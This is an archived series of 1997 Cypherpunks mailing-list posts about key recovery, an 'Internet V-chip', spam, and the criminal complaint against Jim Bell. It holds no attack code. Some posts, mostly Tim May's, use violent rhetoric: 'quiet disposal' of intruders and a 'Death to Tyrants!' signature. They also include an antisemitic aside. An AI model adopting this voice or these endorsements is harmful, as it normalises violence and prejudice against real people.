                                      
   
    Copyright ) 1997 Nando.net
    Do you have some feedback for the Nando Times staff?

http://www.nando.net/newsroom/ntn/world/052397/world14_3679.html






From hua at chromatic.com  Fri May 23 14:31:56 1997
From: hua at chromatic.com (Ernest Hua)
Date: Sat, 24 May 1997 05:31:56 +0800
Subject: Key Recovery / The True Story
Message-ID: <199705232059.NAA13536@krypton.chromatic.com>



> And some government spook is going to break into a church's computer
> to find out if they are secret terrorists because they oppose this
> or that government policy.

This is an interesting point on which very little serious debate is
taking place:

    Is it EVER okay for spooks to break into a church's computer to
    find out if they are secret terrorists?

I'm not sure the answer is clearly one way or another, and I am
willing to bet that the tone of the answers will mostly be emotional
appeals to some idealistic standard or pessimistic nightmares.

A meta question is whether the answer to a question like this one
above can be answer strictly through a "for all practical purposes it
would never affect me so it does not matter" answer.

Ern

-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua at chromatic.com



-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua at chromatic.com



-- 
Ernest Hua, Software Sanitation Engineer/Chief Cut And Paste Officer
Chromatic Research, 615 Tasman Drive, Sunnyvale, CA 94089-1707
Phone: 408 752-9375, Fax: 408 752-9301, E-Mail: hua at chromatic.com







From tcmay at got.net  Fri May 23 14:33:02 1997
From: tcmay at got.net (Tim May)
Date: Sat, 24 May 1997 05:33:02 +0800
Subject: V-Chips for the Internet
In-Reply-To: <1.5.4.32.19970523022930.00970284@pop.pipeline.com>
Message-ID: 


At 10:29 PM -0400 5/22/97, John Young wrote:
>A White House press briefing today describes Clinton's
>plan for providing V-chips for parents to control childrens'
>access to the Internet. Technology is being developed for
>that purpose.
...
>                MS. LEWIS: It's our understanding, and we just checked
>this with people at the White House who know much more about
>technology than all of us put together, that there is in fact technology
>being developed that would serve as the equivalent of a V-chip for the
>Internet, and we think that's what the President referred to.
>
>                Q Clinton has talked before about giving parents ways to
>protect their children on the Internet, but has he ever before suggested
>the idea of a V-chip for the Internet?
>
>                MS. LEWIS:  Not that we know of, but we know -- as is
>clear, I think, from his wording, he is aware that the technology has
>been developing.

There are three main dimensions to this "V-chip for the Internet," just as
there are for the original V-chip for televisions:

1. Technology. Viability of the hardware, including cost, speed, and
ability to be integrated into planned products. (In the case of
televisions, satellite dish receivers, VCRs, etc., the problems are
immense.)

2. Ratings and Standards. Just who will "rate" Internet sites, and is it at
all feasible given the world connectivity we see?

3. Economics. How long will it take before even 5% of the nation's
computers have this V-chip installed? How much will it cost? Who will
bother with it?

(There are lots of other issues to be addressed. I'm unpersuaded that a
hardware version is any more secure than a software version...so why go to
all the expense to have a _hardware_ version of what NetNanny and
LittleBrother and DaddyKnowsBest already do in software? With televisions,
the need for a hardware chip is related to the lack of any CPU and so on...)

Could hardware-based chips be coming? At a recent meeting, John Markoff
asked me if I'd heard anything about Intel's rumored contract to buy 20
million (yes, 20 _million_) keyboards with crypto features built in. I had
not heard this rumor.

(Since then, though, there have been rumblings that Intel is preparing to
offer such keyboards, possibly with "user authentication" features (don't
know what kind). This might, speculating here, be linked with  the Intel-HP
(and maybe Verifone, which HP is buying?) key recovery work. Conceivably, a
plan to sell a large user base (20 million?) on a hardware/keyboard-based
"secure commerce" solution.)

I'm quite skeptical of this sort of thing happening. It will take many
years to propagate such a hardware-based solution.

(By the way, it hardly will satisfy the "legitimate needs of law
enforcement" crowd, as I can't imagine Mobsters, terrorists, and anarchists
like us adopting such a solution.)

The existing base of computers is HUGE, and will persist for many years,
even decades. While a lot of folks are upgrading every couple of years to
the newer and faster Intel processors, an awful lot of machines remain in
use for many years. (This may be true even more so in coming years...the
200 MHz MMX machines now so popular will be blazingly fast for Internet
uses for many years to come...unless one is doing multimedia or serious
number crunching, it is hard to imagine such a machine running out of steam
for routine Net work for years to come.)

In short, I don't see a hardware-based V-chip being at all useful to the
interest of Big Brother. If he is pushing it, let him. There's no way, not
even in Fascist America, that people can be told their machines purchased
in 1997 (or 1998, or whenever this mysterious V-chip begins to be
available) are no longer allowed to be used on the Net.

And, as with the television V-chip, the precise crowd that "most needs"
(from the nanny's point of view) the capabilities are the folks least
likely to upgrade their televisions, VCRs, computers, etc. to the new and
improved V-chip versions.

(And as with the television V-chip, all it takes is a single non-V-chip VCR
to tune in banned programs, or a single "old" 400 MHz Pentium II machine,
tucked away in a closet, to bypass the Internet V-Chip.)

Arggh, it's too stupid an idea for me to have written this article on. Oh
well, it won't be the last such article. Expect this Internet V-Chip to get
a lot of media attention.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From gbroiles at netbox.com  Fri May 23 15:26:53 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Sat, 24 May 1997 06:26:53 +0800
Subject: Police & military access
In-Reply-To: <19970522232331.08458@bywater.songbird.com>
Message-ID: <3.0.2.32.19970523151254.008cce40@mail.io.com>


At 12:53 AM 5/23/97 -0700, Tim May wrote:
>There is a current case involving a cop who is on the verge of losing his
>ability to be a cop because he pled "nolo contendre" to a domestic abuse
>charge a decade or so ago. The local law says that anyone in this situation
>may not have a gun, period. Thus, now that the law has caught up with him
>(no details on how and why this was not known until recently) he may not
>have a gun and thus may well lose his job.

I'm not familiar with local (Santa Cruz, or whatever) ordinances, but a
federal law saying exactly this was passed last year (the "Lautenberg Act",
which was apparently merged into a spending/budget act signed by Clinton on
10/3/96) - my hunch is that the controversy here is over the effects of the
federal law. The scenario you discussed is being played out in police
departments and sheriff's offices all over the country. Legislation has
been proposed this session (but its passage is uncertain to unlikely) which
would exempt law enforcement officers from the (federal) ban on possession
of weapons by convicted domestic violence offenders. 

>This would seem to support Jim Choate's general position. (Though I have my
>own skepticism that many jurisdictions think it is true.)

Jim Choate's messages about cops and "civil rights" suggest that he's not
familiar with and/or interested in the basics of legal research.
Restrictions (and lack of restrictions) related to use of force, power to
arest, possession/use of weapons, etc., are mostly statutory. You can't
find them (or understand them) by starting with only the Constitution, and
then reasoning and deducing things from it.

>From a moral or political perspective, (e.g., what *should* the
relationship between cops and citizens look like) what he writes is
perfectly reasonable. From a legal perspective (what is the law today?)
it's incomplete and thereby misleading. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From real at freenet.edmonton.ab.ca  Fri May 23 15:43:16 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sat, 24 May 1997 06:43:16 +0800
Subject: Accounts payable
In-Reply-To: <199705231713.TAA03178@basement.replay.com>
Message-ID: 


On Fri, 23 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C[reep] May's reheated, refurbished, and regurgitated cud is 
> completely inappropriate for the mailing lists into which it is 
> cross-ruminated.
> 
>     ' ' ' ' 
>     ^-O-O-^
>  -ooO--U--Ooo- Timmy C[reep] May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From tcmay at got.net  Fri May 23 15:47:11 1997
From: tcmay at got.net (Tim May)
Date: Sat, 24 May 1997 06:47:11 +0800
Subject: Timmy and the OKC Actions
In-Reply-To: <199705231756.KAA21831@fat.doobie.com>
Message-ID: 


At 10:56 AM -0700 5/23/97, Huge Cajones Remailer wrote:
>  It's naieve to assume that Bell was even the target.  World
>gov't/military machines learned their PR lessons in vietnam.
>As a part of a greater plan, it makes sense.
...
>  The US is still reeling from OK City.  Tried as it might, the US gov't
>couldn't find an outside enemy to pin it to.  Whether
>Timmy did it or not is again irrelevant, they needed to find
  ^^^^^^^^^^^^^^^^^^^
>someone to blame and did.  Now that it's the defenses turn, it
...

Hey, I _didn't_ do it. Honest. No fooling. I was more than 30 miles away
when that blast went off, and you can't place me in OKC anytime that
morning.

And my closest contacts with the Elohim City patriots were on a mailing
list Waco whiste-blower Linda Thompson was involved with.

(It's true that I gave some patriots some tips on encrypting, but that's
not a crime. And mostly I just gave them pointers to sites. Ditto for some
enemies of the Zionist Entity, but that's another story.)

--Timothy "not McVeigh" May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Fri May 23 15:50:51 1997
From: tcmay at got.net (Tim May)
Date: Sat, 24 May 1997 06:50:51 +0800
Subject: Spying On and Burgling Churches...is it "Legal"?
In-Reply-To: <199705232059.NAA13536@krypton.chromatic.com>
Message-ID: 


At 1:59 PM -0700 5/23/97, Ernest Hua wrote:
>> And some government spook is going to break into a church's computer
>> to find out if they are secret terrorists because they oppose this
>> or that government policy.
>
>This is an interesting point on which very little serious debate is
>taking place:
>
>    Is it EVER okay for spooks to break into a church's computer to
>    find out if they are secret terrorists?

Perhaps there is "little serious debate" on this because the U.S.
Constitution and 200+ years of later history pretty well decided the matter.

Granted, Hoover and his Secret Police were not the first to violate the
Fourth Amendment (or the First, etc.). Granted, the spying on the Catholic
Church with regard to the "Sanctuary Movement" (vis-a-vis the sheltering of
El Salvadoran refugees) was not even the most recent such example.

But there can be little "serious debate" about extra-legal,
unconstitutional spying.

However, Cypherpunks don't believe laws protect privacy.

The proper solution is strong cryptography and related tools. (And possible
private and quiet disposal of anyone caught inside a home, church, etc.,
planting illegal bugs, breaking and entering, etc.)

The real debate these days is whether such privacy tools should be
controlled and licensed by the government. I think the answer is clear.

Oh, and Cypherpunks don't much believe in this debate either. Regardless of
what the herd votes on, or approves out of complacence and ignorance,
Cypherpunks will tend to ignore such decisions.

>I'm not sure the answer is clearly one way or another, and I am
>willing to bet that the tone of the answers will mostly be emotional
>appeals to some idealistic standard or pessimistic nightmares.

I suggest you reread the U.S. Constitution, where the answer to your debate
was pretty clearly resolved. If the government wants to get a search
warrant against a church or any other entity, they can try. Or even a
wiretap (though such things didn't exist at the Founding). But the U.S.
Constitution does not provide for secret police breaking into churches or
homes in the dead of night without court authorization. Period. Legal
scholars are invited to correct me on this one if I am wrong.

(Yes, I'm aware that they do it, and that they can possibly even cite the
Executive Decision authorizing them to break into homes, plant evidence,
kill the residents, whatever. This doesn't make their actions
constitutional, and someday some court is going to have the guts to say so.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ichudov at algebra.com  Fri May 23 16:14:27 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 24 May 1997 07:14:27 +0800
Subject: Bcc's & cpunks@algebra.com forwards
In-Reply-To: <199705230735.IAA00651@server.test.net>
Message-ID: <199705232305.SAA08354@manifold.algebra.com>


Adam,

the answer is that it happens because of my spam filter for cypherpunks.

you would not believe how much spam it catches... and bogus mailing
lists that cypherpunks were sub-scri-bed to...

the theory behind it is that if something was not sent to cypherpunks
explicitly, it most likely does not belong there.

naturally, I DO forward all stuff that belongs there to the list.

igor

Adam Back wrote:
> 
> 
> Igor Chudov  writes:
> >
> > plz do not use bcc
> 
> Why not?  It is quite convenient for coping with the non-cross posting
> policy of other groups.
> 
> Also what is it with the  forwards, why
> are these coming to the list forwarded from that address?  Are they
> things which failed your procmail filter manually forwarded
> afterwards?
> 
> Adam
> 



	- Igor.






From sunder at brainlink.com  Fri May 23 16:41:47 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Sat, 24 May 1997 07:41:47 +0800
Subject: NYC Crypto Forum Add
In-Reply-To: <1.5.4.32.19970523183553.00700ecc@pop.pipeline.com>
Message-ID: 


On Fri, 23 May 1997, John Young wrote:

> A supplement to the NYC Crypto Forum:
> 
> Toward the end Nesson asked, "How about the missing
> participant here, NSA?"
> 
> Several panelists noted, "NSA's here, in the audience."
> (Nonesuch spoke, however.)

I made a comment to the person next to me, yeah, it's Ms. Denning.  Kahn 
replied "No not really"  Interesting that he'd know...

> Nesson went on to ask, "What about national security
> interests outweighing the right to privacy?"

More interesting was "So, that's all key escrow will do? Let us catch 
stupid criminals?"
 
> It was here that David Kahn offered his defense of key
> recovery.

Yeah, that did suck.  'was cool that he was sitting right next to me.  
For a while it gave me major spookies that Ms Denning was "eyeing me" 
turns out it was Mr. Kahn next to me she was eyeing. :)
 
> Here, an audience member said that he worked at Salomon
> Brothers doing traffic analysis of vast E-mail, and that we
> should be aware that more electronic snooping is going on 
> than most people know. How could we be sure that law
> enforcement would not similarly abuse systems set up to
> catch criminals for other purposes, as NSA allegedly does, 
> and, now using the same methodolgies, as private companies 
> do to spy on employees, customers and competitors.

And of course Mr. FBI Scott (What's the last name) said it was total 
bull. :)  How would he know if the NSA was doing it and he was working 
for the FBI?
 
> All panelists nodded at this, that it's hard to tell god from
> the devil, and crypto won't help.

Yeah, this whole thing left me with the feeling of "Yawn, I've heard both 
sides of this before, nothing new here..."

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder at sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From jya at pipeline.com  Fri May 23 17:02:11 1997
From: jya at pipeline.com (John Young)
Date: Sat, 24 May 1997 08:02:11 +0800
Subject: Jim Bell Complaint
Message-ID: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>


We offer the May 16 complaint against Jim Bell:

   http://jya.com/jimbell3.htm

The complaint draws upon previous search warrants 
at Greg Broiles's site:

   http://www.parrhesia.com/jimbell/






From whgiii at amaranth.com  Fri May 23 17:22:30 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 24 May 1997 08:22:30 +0800
Subject: Spam complaints 14 times worse than Spam.
In-Reply-To: <199705231530.IAA24640@adnetsol.adnetsol.com>
Message-ID: <199705240012.TAA05938@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705231530.IAA24640 at adnetsol.adnetsol.com>, on 05/23/97 
   at 09:30 AM, "Ross Wright"  said:

>This was from:

>Tasty Bits From The Technology Front

> Your Host:  Keith Dawson

>    This issue: 

>..Mailing-list spammers..

>    Email spam is the favorite gripe of most Netizens, excepting the
>    spammers. Congress is considering legislation [25] to limit the
>    practice of sending unwanted commercial email in bulk. Not everyone
>    thinks this is a good idea. See [26] for a thread from an ongoing
>    debate on Declan McCullagh's fight-censorship mailing list. George
>    Matyjewicz  did a modest experiment on a
>    week's worth of his email -- he is on 56 mailing lists and gets
>    around 200 messages a day -- to gauge how widespread the problem
>    actually is. Matyjewicz posted these results:

>                        week     avg/day

>      Total messages    1,354    193.4
>      Spam messages        10      1.4     < 1 %
>      Spam complaints     189     27.0      14 %

>    Mailing-list owners share information on the addresses from which
>    commercial spam messages originate. Recently Alexander Verbraeck
>     posted a particularly compre-
>    hensive list of purported spammers. I have taken the liberty of
>    preserving a snapshot on the TBTF archive [27], sorted both by email
>    address and by "virulence" -- the total number of messages sent by
>    each spammer over a given time period to two of Verbraeck's lists.
>    Thanks to Tom Parmenter  for the tip.

>    [25] 
>    [26] 
>    [27] 

Hi Ross,

With SPAM we have two seperate issues SPAM that shows up in public forums
newsgroups & mailling lists and SPAM that is directly mailed to
individules mail boxes.

SPAM that is posted to public forums is somthing that is hard to do
anything about without draconian measures that I doubt that few would want
to see.

SPAM that is sent directly to users mailboexs is somthing that can be
addressed without extreme measures. Either the Spamfords et al will have
to find a civilized approach to their advertisment or they will all be
gone in a couple of years. The Compuserver vs Cyberpromo lawsuit is only
the first of many. I would imagine that we will see more of these lawsuits
now that Compuserver has won theirs. I am currently receiving 5-10 SPAM
messages per day. Take a medium size ISP with 10,000 customers and you are
looking at 50-100k messages a day tying up resources that are not payed
for by the SPAMers. There is no reason why an ISP should have to support
someone elses advertisment.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The Gates of hell.

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From whgiii at amaranth.com  Fri May 23 17:57:55 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 24 May 1997 08:57:55 +0800
Subject: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
Message-ID: <199705240031.TAA06112@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970523233752.00988164 at pop.pipeline.com>, on 05/23/97 
   at 05:37 PM, John Young  said:

>We offer the May 16 complaint against Jim Bell:

>   http://jya.com/jimbell3.htm

After reading the complainant I have to say that with friends like that
who needs enemies?

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows NT: From the makers of Windows 3.1!

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IUBATSRLx88=
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-----END PGP SIGNATURE-----






From mpd at netcom.com  Fri May 23 18:34:57 1997
From: mpd at netcom.com (Mike Duvos)
Date: Sat, 24 May 1997 09:34:57 +0800
Subject: Jim Bell Complaint
In-Reply-To: <199705240031.TAA06112@mailhub.amaranth.com>
Message-ID: <199705240120.SAA21005@netcom19.netcom.com>


WIlliam H. Geiger III wrote:

: After reading the complainant I have to say that with friends like that
: who needs enemies? 

Let's see.  The only specific acts that are alleged are that Bell obtained
names and addresses of IRS employees, that he twice conducted a high
school type prank involving mercaptan, and that he used invented SS
numbers to avoid paying taxes.  SS numbers being those things the
government swore up and down would never be used to identify citizens, and
which are now required on all banking documents. 

Aside from these alleged events, everything else in the document is either
hysterical hyperbole, or innuendo concerning Bell's feelings about the
government, his interest in guerrilla warfare technology, or what
chemistry experiments he may or may not have performed. 

I hardly think the government is in any danger of being "overthrown" by
Mr. Bell.  It is patently absurd to suggest that a military and political
superpower which can project force to any part of the planet almost
instantly with virtually no fear of consequences is going to crumble at
the hands of one individual armed with a stinky chemical and an attitude. 

Any prosecution of Bell is just an attempt to frighten other sheeple
holding similar sentiments into silence. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From jya at pipeline.com  Fri May 23 18:41:57 1997
From: jya at pipeline.com (John Young)
Date: Sat, 24 May 1997 09:41:57 +0800
Subject: Jim Bell Complaint
Message-ID: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>


William Geiger wrote:

>After reading the complaint I have to say that with friends like that
>who needs enemies?

True, if that's what the friends actually said, and if they were
not induced to do so by being fed lethal information: don't
go down with Bell, protect yourself, spill your guts.

Recall that John Painter spoke to one or more of them
and they hedged the remarks of the complaint, but he,
too, saw the makings of a deal in the affadavit's allegations.

Turning friends against friends is pretty common in
investigations, using threats and promises of relief
from possible charges, even saying that your friend is
squealing on you.

I was struck by how similar some remarks attributed to
Bell were to those attributed to McVeigh, not that they
were not made, but that the investigators chose to
select just those to indicate lethal intent. 

The possible link between the McVeigh trial and Jim Bell's 
bust could indicate how the feds are itching to attack
every advocate of anti-gov mayhem (no pun Tim).

The IRS searching the Internet for incriminating advocacy 
is a warning of what's to come, as often predicted here.

Time to study and ponder the 1st Amend -- which, by the way,
Matt Blaze did at the NYC crypto forum last night to challenge
Charney and Denning. Matt pulled out a copy and cited
it, which may be a good indication of what he knows that
we don't about what's coming.








From ravage at EINSTEIN.ssz.com  Fri May 23 18:42:41 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Sat, 24 May 1997 09:42:41 +0800
Subject: Police & military access (fwd)
Message-ID: <199705240056.TAA21591@einstein.ssz.com>


Forwarded message:

> Date: Fri, 23 May 1997 15:12:54 -0700
> From: Greg Broiles 
> Subject: Re: Police & military access

> >This would seem to support Jim Choate's general position. (Though I have my
> >own skepticism that many jurisdictions think it is true.)
> 
> Jim Choate's messages about cops and "civil rights" suggest that he's not
> familiar with and/or interested in the basics of legal research.
> Restrictions (and lack of restrictions) related to use of force, power to
> arest, possession/use of weapons, etc., are mostly statutory. You can't
> find them (or understand them) by starting with only the Constitution, and
> then reasoning and deducing things from it.

Absolutely, but those statutes MUST be referencable back to the
Constitution. Something I freely admit is not the current case. If it were
the current case this would be a very quite mailing list indeed.

What a citizen can and can't do with a weapon is covered in the 2nd. It 
includes police. If I as a citizen can't have object x then a police officer
can't have it, constitutionaly.

> >From a moral or political perspective, (e.g., what *should* the
> relationship between cops and citizens look like) what he writes is
> perfectly reasonable. From a legal perspective (what is the law today?)
> it's incomplete and thereby misleading. 

Absolutely, and if you are infering that I at any time in my life have EVER
asserted that my speculation was the case then you need to take a reading
comprehension course (as well as reflect on what the entire discussion on
cypherpunks truly is at the core).

What *should* be the case is the whole damn point.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage at ssz.com






From ravage at EINSTEIN.ssz.com  Fri May 23 18:54:18 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Sat, 24 May 1997 09:54:18 +0800
Subject: SIGH Kent clueless again(was Re: spam is a good thing (was Re: Spam IS Free Speech)) (fwd)
Message-ID: <199705240107.UAA21651@einstein.ssz.com>


Forwarded message:

> From: "William H. Geiger III" 
> Date: Fri, 23 May 97 08:29:59 -0500

> No not at all. Just because I am connected to the network I am under no
> obligation to accept a single bit. I don't have to ever download any mail
> or I can download all or I can pick and choose what I accept or what I
> don't.

Exactly,

This is the whole point of a firewall after all. Simply connecting your
cable to a publicly accessible source implies no more than having your
driveway end in a public street. It is NOT an open invitation to stroll
through your living room.

> Obviously you have not ever entered into contract agreements with an
> accesses provider. There is no obligation on my part to receive a single
> bit. If I never run a sendmail daemon then I will never receive a single
> e-mail message regardless of how many are aimed at my servers. This is the
> same with any TCP/IP service. The only obligation I have with my upstream
> provider is to pay my bill. If I choose to bounce everything that is
> routed from Spamford it is my right to do so as it is *MY* equipment. 

This is certainly the exact case between myself and my provider for SSZ.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage at ssz.com






From tcmay at got.net  Fri May 23 19:14:30 1997
From: tcmay at got.net (Tim May)
Date: Sat, 24 May 1997 10:14:30 +0800
Subject: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970523233752.00988164@pop.pipeline.com>
Message-ID: 


At 7:28 PM -0500 5/23/97, William H. Geiger III wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>In <1.5.4.32.19970523233752.00988164 at pop.pipeline.com>, on 05/23/97
>   at 05:37 PM, John Young  said:
>
>>We offer the May 16 complaint against Jim Bell:
>
>>   http://jya.com/jimbell3.htm
>
>After reading the complainant I have to say that with friends like that
>who needs enemies?

Not clear whom you mean...do you mean with friends like Bell, who needs
enemies? Or do you mean, with friends like East and Daly, for Bell, who
needs enemies?

I was spellbound by the complaint John Young made available. It was, at the
least, very clearly written and extremely interesting to read.

We have focussed our comments on the charges related to Bell's essays, esp.
his "Assassination Politics" stuff. I remain convinced that no charges per
se will be successfully prosecuted on these writings.

Whether he planted stink bombs, and what that means, is another matter. (I
have to be honest and admit that it sure does look convincing to me that he
planned the stink bomb attacks, executed them, and then bragged to friends
that he'd gotten revenge. And I expect a jury to be similarly convinced.)

However, I think they're going to have a real hard time proving that an
interest in castor beans and ricin means that a *fatal* attack was planned.
Having read Bell's stuff, off and on, for more than a year and a half, I
just don't see the guy spreading botulism or ricin or Sarin. And proving
future plans, as opposed to actual past events, is tough.

The Social Security Numbers thing seems like a slam dunk to prove. Two of
the numbers differ by only digit (501 and 510). While this is a standard
ploy, based on my c. 1974 involvement in some libertarian tax avoidance
seminars, to "throw off" computers, it is also arguably a natural mistake,
a simple transposition of two digits. However, several of the numbers are
wildly different...the Hamming distance is such that the only explanation
is deliberate intent.

So, I think Bell is in serious trouble on several charges: the tax evasion
charges, the SS number charges (which may be subsumed in the tax charges),
and the "stink bomb" charges.

The other various claims and charges in the complaint, things like the
anti-government essays and the "assault" rifles found, don't seem likely to
go anywhere.

The "plotting to poison the water supply and drop carbon fibers down air
shafts" charges sound sensational. Indeed, Bell went further in terms of
buying stuff than I would have (or ever have), but this may have been
technical curiousity.

In any case, I expect it will be hard to prove a "might have," as opposed
to a "did."

Whether disappointingly or with relief, I noticed no mention of
"Cypherpunks," a name which surely would have been scattered amongst the
various documents on his computer. We'll see what comes up during the trial.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Fri May 23 19:17:15 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 24 May 1997 10:17:15 +0800
Subject: Jim Bell Complaint
In-Reply-To: <1.5.4.32.19970524011320.0094f5f4@pop.pipeline.com>
Message-ID: <199705240158.UAA06994@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970524011320.0094f5f4 at pop.pipeline.com>, on 05/23/97 
   at 07:13 PM, John Young  said:

>Time to study and ponder the 1st Amend -- which, by the way, Matt Blaze
>did at the NYC crypto forum last night to challenge Charney and Denning.
>Matt pulled out a copy and cited
>it, which may be a good indication of what he knows that
>we don't about what's coming.

I found it quite troubling the number of legal activities that were cited
in the complaint as if they were illegal.

- -- Possesion of "assault weapons"
- -- Possession of documents on explosives
- -- Possession of documents on poisons
- -- Possession of documents on biological agents
- -- Possession of documents regarding the adverse affects of carbon fibers
on electrical equipment.

All of the above "crimes" I am guilty of as:

Thanks to the 2nd amendment it is still legal in this country to own a
gun. If I recall right when "assault weapon" became a popular Washington
buzz word it referred to any semi-automatic weapon.

Documentation on explosives, poisons, and biological agents can be found
in numerous text books & articles on chemistry, engineering, biology, and
medical sciences. Due to my schooling and work in both the engineering &
medical fields I have an entire wall of my office covered with such books
and articles.

I don't posess any documents on carbon fibers but I would think that it is
obvious to anyone with an IQ greater than their shoe size (or that of an
IRS agent) that electronic equipment introduced to copper coated fibers
are not long for this world. :)


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: This marks Logical End-Of-Message. Physical EOM follows

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From jya at pipeline.com  Fri May 23 19:20:30 1997
From: jya at pipeline.com (John Young)
Date: Sat, 24 May 1997 10:20:30 +0800
Subject: Jim Bell Complaint
Message-ID: <1.5.4.32.19970524015414.00745f94@pop.pipeline.com>


We missed deleting one cite of Jim's "true" SSN
in the complaint, which has now been done. Those
who got early copies, consider ***-ing the num.
Thanks.

'Course, IRS may have faked it, too.






From ravage at einstein.ssz.com  Fri May 23 19:22:11 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sat, 24 May 1997 10:22:11 +0800
Subject: Police & military access (fwd)
Message-ID: <199705240135.UAA21802@einstein.ssz.com>


Forwarded message:

> Date: Fri, 23 May 1997 00:53:43 -0700
> From: Tim May 
> Subject: Re: Police & military access

> I have no problem with the notion that there is no weapon, no technology
> which certain government officials or police may have but which civilians
> are *not* allowed to have. I don't think the Founders envisioned any such
> circumstances.

They considered such a state instrumentality in the army, the precise reason
they didn't want a standing army in the first place (ie 2yr. limit on ALL
